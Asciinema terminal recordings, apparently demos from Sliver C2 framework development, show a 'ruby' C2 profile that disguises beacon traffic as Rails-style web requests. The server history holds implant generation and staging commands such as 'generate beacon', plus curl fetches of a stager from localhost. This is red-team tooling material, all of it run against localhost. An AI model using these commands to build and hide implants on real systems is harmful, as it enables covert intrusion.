[55.806807, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[55.807933, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[60.226139, "o", "\u001b[26D\u001b[26C\u001b[6n"]
[60.234569, "o", "\u001b[133D\u001b[26C\u001b[0J\u001b[133D\r\r\n"]
[60.236034, "o", "\u001b[0 q\r\n"]
[60.257361, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n"]
[60.258157, "o", "\r\n"]
[60.283122, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[60.283361, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[60.285647, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[60.286101, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[60.958386, "o", "\u001b[9D\u001b[9C\u001b[6n"]
[60.960274, "o", "\u001b[133D\u001b[9C\u001b[0J\u001b[133D\r\r\n"]
[60.961258, "o", "\u001b[0 q\r\n\r\n"]
[60.973846, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[60.974441, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[60.97641, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[60.977183, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[62.494268, "o", "\u001b[?25l"]
[62.506593, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.511467, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[62.513956, "o", "\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
[62.664344, "o", "\u001b[?25l"]
[62.671862, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.675959, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[62.676128, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[62.771812, "o", "\u001b[?25l\u001b[133D"]
[62.773939, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.776462, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C"]
[62.77694, "o", "\u001b[133D\u001b[12C\u001b[?25h"]
[62.885393, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[62.886287, "o", "\u001b[6n"]
[62.889137, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
[63.035285, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[63.041412, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D\r\r\n"]
[63.044405, "o", "\u001b[0 q\r\n"]
[63.070815, "o", "Exiting...\r\n"]
[63.098434, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[63.697379, "o", "\u001b[?2004l\r\r\n"]
[63.699022, "o", "exit\r\n"]
@@ -0,0 +1,88 @@
{"version": 2, "width": 106, "height": 52, "timestamp": 1714672697, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.14168, "o", "\u001b[?2004h"]
[0.149902, "o", "root@98df0494f659:~# "]
[1.00337, "o", "c"]
[1.088698, "o", "u"]
[1.219285, "o", "r"]
[1.353956, "o", "l"]
[1.520629, "o", " "]
[1.810089, "o", "h"]
[1.943522, "o", "t"]
[2.085822, "o", "t"]
[2.183263, "o", "p"]
[2.714314, "o", ":"]
[2.991856, "o", "/"]
[3.113514, "o", "/"]
[3.40613, "o", "l"]
[3.639895, "o", "o"]
[3.763378, "o", "c"]
[3.818227, "o", "a"]
[3.901598, "o", "l"]
[4.098185, "o", "h"]
[4.169684, "o", "o"]
[4.437642, "o", "s"]
[4.567389, "o", "t"]
[4.992099, "o", "/"]
[6.556535, "o", "h"]
[6.685184, "o", "e"]
[6.791546, "o", "l"]
[6.965007, "o", "l"]
[7.19011, "o", "o"]
[8.025322, "o", "."]
[8.620806, "o", "y"]
[9.035824, "o", "m"]
[9.546472, "o", "l"]
[10.726299, "o", "?"]
[11.19839, "o", "z"]
[11.65921, "o", "="]
[13.029521, "o", "1"]
[13.43651, "o", "9"]
[13.793109, "o", "7"]
[13.949113, "o", "7"]
[14.128955, "o", "8"]
[14.900212, "o", "\r\n\u001b[?2004l\r"]
[15.009931, "o", "Warning: "]
[15.010494, "o", "Binary output can mess up your terminal. Use \"--output -\" to tell \r\nWarning: curl to output it to your terminal anyway, or consider \"--output \r\nWarning: <FILE>\" to save to a file.\r\n"]
[15.021725, "o", "\u001b[?2004h"]
[15.021852, "o", "root@98df0494f659:~# "]
[16.959808, "o", "curl http://localhost/hello.yml?z=19778"]
[17.486287, "o", "\b"]
[17.619754, "o", "\b"]
[18.277424, "o", "a78\b\b"]
[18.280088, "o", "l78\b\b"]
[18.342078, "o", "s78\b\b"]
[18.371445, "o", "k78\b\b"]
[18.38078, "o", "j78\b\b"]
[18.411096, "o", "d78\b\b"]
[18.424821, "o", "f78\b\b"]
[18.438786, "o", "h78\b\b"]
[18.561807, "o", "a78\b\b"]
[18.589191, "o", "s78\b\b"]
[18.610773, "o", "dl78\b\b"]
[18.626257, "o", "k78\b\b"]
[18.639979, "o", "j78\b\b"]
[18.719362, "o", "fh78\b\b"]
[20.067454, "o", "\r\n"]
[20.06889, "o", "\u001b[?2004l\r"]
[20.165016, "o", "Warning: "]
[20.165474, "o", "Binary output can mess up your terminal. Use \"--output -\" to tell \r\nWarning: curl to output it to your terminal anyway, or consider \"--output \r\nWarning: <FILE>\" to save to a file.\r\n"]
[20.17545, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[20.925236, "o", "curl http://localhost/hello.yml?z=197alskjdfhasdlkjfh78"]
[21.365164, "o", "\b"]
[21.563292, "o", "\b"]
[21.742197, "o", "\b"]
[21.966154, "o", "\b\u001b[1Ph78\b\b\b"]
[22.471279, "o", "\b\u001b[1Ph78\b\b\b"]
[22.552271, "o", "\b\u001b[1Ph78\b\b\b"]
[22.631786, "o", "\b\u001b[1Ph78\b\b\b"]
[22.721099, "o", "\b\u001b[1Ph78\b\b\b"]
[22.807704, "o", "\b\u001b[1Ph78\b\b\b"]
[22.887112, "o", "\b\u001b[1Ph78\b\b\b"]
[22.968836, "o", "\u001b[1P78\b\b\b"]
[23.053591, "o", "\b\u001b[1Ph78\b\b\b"]
[23.133644, "o", "\b\u001b[1Ph78\b\b\b"]
[23.221294, "o", "\b\u001b[1Ph78\b\b\b"]
[23.627041, "o", "1h78\b\b\b"]
[24.335876, "o", "\r\n\u001b[?2004l\r"]
[24.441387, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[27.241376, "o", "\u001b[?2004l\r\r\nexit\r\n"]
@@ -0,0 +1,444 @@
{"version": 2, "width": 272, "height": 61, "timestamp": 1714659822, "env": {"SHELL": null, "TERM": "xterm"}}
[0.033615, "o", "# "]
[0.925283, "o", "."]
[0.997573, "o", "/"]
[1.322976, "o", "s"]
[1.430115, "o", "l"]
[1.49078, "o", "i"]
[1.590158, "o", "v"]
[1.775311, "o", "e"]
[1.85991, "o", "r"]
[2.003223, "o", "-"]
[2.15495, "o", "s"]
[2.196149, "o", "e"]
[2.240459, "o", "r"]
[2.481721, "o", "v"]
[2.727644, "o", "e"]
[2.808119, "o", "r"]
[2.870105, "o", "\r\n"]
[4.110367, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain hexproof\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[4.116183, "o", "\r\n"]
[4.141337, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.143218, "o", "\u001b[1 q"]
[4.145126, "o", "\u001b[?25l"]
[4.145936, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.146639, "o", "\u001b[6n"]
[4.149524, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[4.149671, "o", "\r\r\n"]
[4.150924, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[4.706023, "o", "\u001b[?25l"]
[4.707226, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.722955, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
[4.961107, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.969484, "o", "c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[5.225685, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.231229, "o", "\u001b[6n"]
[5.239478, "o", "c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.240938, "o", "\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
[5.327491, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.329618, "o", "\u001b[6n"]
[5.340357, "o", "c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[5.341538, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
[5.429764, "o", "\u001b[?25l"]
[5.43574, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.445255, "o", "c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[14D"]
[5.446151, "o", "\u001b[9C\u001b[272D\u001b[14C\u001b[?25h"]
[5.571787, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.573494, "o", "\u001b[6n"]
[5.581764, "o", "c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[15D\u001b[9C\u001b[272D"]
[5.582092, "o", "\u001b[15C\u001b[?25h"]
[5.635235, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.646082, "o", "c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.646451, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[16D\u001b[9C\u001b[272D\u001b[16C\u001b[?25h"]
[5.719502, "o", "\u001b[?25l\u001b[272D"]
[5.723659, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.732539, "o", "c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[5.732861, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[17D\u001b[9C\u001b[272D\u001b[17C\u001b[?25h"]
[5.791973, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.792431, "o", "\u001b[6n"]
[5.797553, "o", "c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[18D\u001b[9C\u001b[272D\u001b[18C\u001b[?25h"]
[5.834381, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.837028, "o", "\u001b[6n"]
[5.843722, "o", "\u001b[1m\u001b[32mc2profiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.845123, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[19D\u001b[9C\u001b[272D\u001b[19C\u001b[?25h"]
[6.190803, "o", "\u001b[19D\u001b[9C\u001b[6n"]
[6.208027, "o", "\u001b[272D\u001b[19C"]
[6.20841, "o", "\u001b[0J\u001b[272D\r\r\n"]
[6.212255, "o", "\u001b[0 q\r\n"]
[6.24707, "o", "\u001b7\u001b[?25l"]
[6.247424, "o", "\u001b8"]
[6.248805, "o", "\u001b[0G\u001b[2K"]
[6.261755, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> default\u001b[0m\r\n\u001b[0;39m ruby\u001b[0m\r\n\u001b7"]
[6.265079, "o", "\u001b[1A"]
[6.265183, "o", "\u001b[0G\u001b[1A\u001b[0G"]
[7.125742, "o", "\u001b8"]
[7.129658, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[7.136912, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m default\u001b[0m\r\n\u001b[0;1;36m> ruby\u001b[0m\r\n\u001b7\u001b[1A\u001b[0G"]
[7.571889, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[7.57592, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m\u001b[0;36m ruby\u001b[0m\r\n"]
[7.628199, "o", " Parameter Value \r\n============================== =============================================================================================================================================================="]
[7.628402, "o", "====================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================\r\n Profile Name ruby "]
[7.628443, "o", " \r\n Server Headers "]
[7.629027, "o", " \r\n Server Cookies _session_id "]
[7.629257, "o", " \r\n Randomize Server Headers false \r\n Client Headers "]
[7.630761, "o", " \r\n Extra URL Parameters "]
[7.630871, "o", " \r\n User agent "]
[7.63098, "o", " \r\n Chrome base version 106 "]
[7.631025, "o", " \r\n MacOS version 10_15_7 \r\n Nonce query arg chars "]
[7.631078, "o", " abcdefghijklmnopqrstuvwxyz \r\n Max files 4 "]
[7.63121, "o", " \r\n Min files 2 "]
[7.631637, "o", " \r\n Max paths 4 "]
[7.631818, "o", " \r\n Min paths 2 "]
[7.63188, "o", " \r\n Stager file extension yml \r\n Start session file extension cgi "]
[7.631916, "o", " \r\n Session file extension erb "]
[7.631976, "o", " \r\n Poll file extension rdoc "]
[7.633173, "o", " \r\n Close file extension ico "]
[7.633834, "o", " \r\n Poll paths public,layouts,assets,views,log,stylesheets,vendor,rails,fixtures,app,process,home,lib,plugins,mailers,posts,tasks,db,cache,environments,doc,javascripts,test,controllers,initializers,images,info,script,config,user,performance,tmp,functional,integration,helpers,locales,models,1,unit "]
[7.633917, "o", " \r\n Poll files yetting,assets,stylesheets,webpacker-example,cable,sidekiq,jquery,422,prototype,browsing_test,mailers,sign_in,secret_token,secrets,admin_controller,javascripts,sidekiq-example,test,info,storage,request,benchmarker,edit,locales,profiler,inflections,runner,fixtures,500,process,application_helper,database,generate,new,boot,vue,environments,application,initializers,session_store,404,server,spawner,graphql,robots,functional,models,index,unit,mongoid,production,home,console,puma,reaper,tasks,application_controller,development,plugin,seeds,wrap_parameters,spring,controllers,environment,performance,routes,en,integration,inspector,test_helper,about,deploy,rails,mime_types,backtrace_silencers,mongoid-example,plugins,dbconsole,webpacker,cache,destroy,favicon,properties,README_FOR_APP,databas"]
[7.633958, "o", "e-example \r\n Session paths public,layouts,assets,views,log,stylesheets,vendor,rails,fixtures,app,process,home,lib,plugins,mailers,posts,tasks,db,cache,environments,doc,javascripts,test,controllers,initializers,images,info,script,config,user,performance,tmp,functional,integration,helpers,locales,models,1,unit \r\n Session files yetting,assets,stylesheets,webpacker-example,cable,sidekiq,jquery,422,prototype,browsing_test,mailers,sign_in,secret_token,secrets,admin_controll"]
[7.634, "o", "er,javascripts,sidekiq-example,test,info,storage,request,benchmarker,edit,locales,profiler,inflections,runner,fixtures,500,process,application_helper,database,generate,new,boot,vue,environments,application,initializers,session_store,404,server,spawner,graphql,robots,functional,models,index,unit,mongoid,production,home,console,puma,reaper,tasks,application_controller,development,plugin,seeds,wrap_parameters,spring,controllers,environment,performance,routes,en,integration,inspector,test_helper,about,deploy,rails,mime_types,backtrace_silencers,mongoid-example,plugins,dbconsole,webpacker,cache,destroy,favicon,properties,README_FOR_APP,database-example \r\n Close paths public,layouts,assets,views,log,stylesheets,vendor,rails,fixtures,app,process,home,lib,plugins,mailers,posts,tasks,db,cache,environments,doc,javascripts,test,controllers,initializers,images,info,script,config,user,performance,tmp,functional,integration,helpers,locales,models,1,unit "]
[7.634036, "o", " \r\n Close files yetting,assets,stylesheets,webpacker-example,cable,sidekiq,jquery,422,prototype,browsing_test,mailers,sign_in,secret_token,secrets,admin_controller,javascripts,sidekiq-example,test,info,storage,request,benchmarker,edit,locales,profiler,inflections,runner,fixtures,500,process,application_helper,database,generate,new,boot,vue,environments,application,initializers,session_store,404,server,spawner,graphql,robots,functional,models,index,unit,mongoid,production,home,console,puma,reaper,tasks,application_controller,developme"]
[7.634081, "o", "nt,plugin,seeds,wrap_parameters,spring,controllers,environment,performance,routes,en,integration,inspector,test_helper,about,deploy,rails,mime_types,backtrace_silencers,mongoid-example,plugins,dbconsole,webpacker,cache,destroy,favicon,properties,README_FOR_APP,database-example \r\n\r\n\r\n\r\n"]
[7.640853, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.640936, "o", "\u001b[1 q"]
[7.641667, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.643724, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.644093, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[10.007822, "o", "\u001b[1 q"]
[10.015416, "o", "\u001b[?25l"]
[10.016592, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.026336, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.028667, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1m\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
[10.032364, "o", "\u001b[0K\u001b[m\u001b[2m313 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m312 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m311 \u001b[22muse\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m309 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m308 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m306 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m305 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m304 \u001b"]
[10.033676, "o", "[22mjobs\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m303 \u001b[22mc2profiles import -f default_c2profile -n ruby -o\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m302 \u001b[22mc2profiles import -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m301 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m300 \u001b[22mc2profiles export -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m299 \u001b[22mc2profiles export -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m298 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m297 \u001b[22mc2profiles export -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m296 \u001b[22mc2profiles export -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m295 \u001b[22mexit\u001b[0m "]
[10.033871, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m294 \u001b[22mexot\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m293 \u001b[22mc2profiles export -n default -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m292 \u001b[22mc2profiles export -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m291 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m290 \u001b[22mc2profiles import -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m289 \u001b[22mc2profiles -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m288 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m287 \u001b[22mls\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m286 \u001b[22mexit\u001b[0m "]
[10.033979, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m285 \u001b[22mc2profiles import -n ruby -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[2m\u001b[33m 2 more completion rows... (scroll down to show)\u001b[0m\u001b[0J\u001b[272D\u001b[29A\u001b[1A\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[10.459758, "o", "\u001b[?25l"]
[10.463043, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.473783, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.474247, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mg\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
[10.479025, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mg\u001b[0m\u001b[menerate beacon -b localhost --skip-symbols --debu\u001b[48;05;244mg\u001b[0m\u001b[m --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m253 \u001b[22mimplants rm CONTINUIN\u001b[48;05;244mG\u001b[0m\u001b[m_DOWNTOWN\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m247 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m245 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me linuxImplant -c deflate9\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m244 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m "]
[10.480261, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m242 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m240 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -c zlib linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m239 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m235 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -c zlib\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m234 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m "]
[10.481672, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m232 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m228 \u001b[22mprofiles new beacon -b localhost --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --os linux linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m227 \u001b[22mprofiles new beacon -b localhost --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m219 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m "]
[10.483017, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m217 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m210 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m207 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m203 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m200 \u001b[22mprofiles new beacon -b localhost --os linux --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --c2profile default implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate implant1\u001b[0m "]
[10.483901, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m192 \u001b[22mprofiles new -b localhost --os linux --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --c2profile default implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[2m\u001b[33m 2 more completion rows... (scroll down to show)\u001b[0m\u001b[0J\u001b[272D\u001b[29A\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
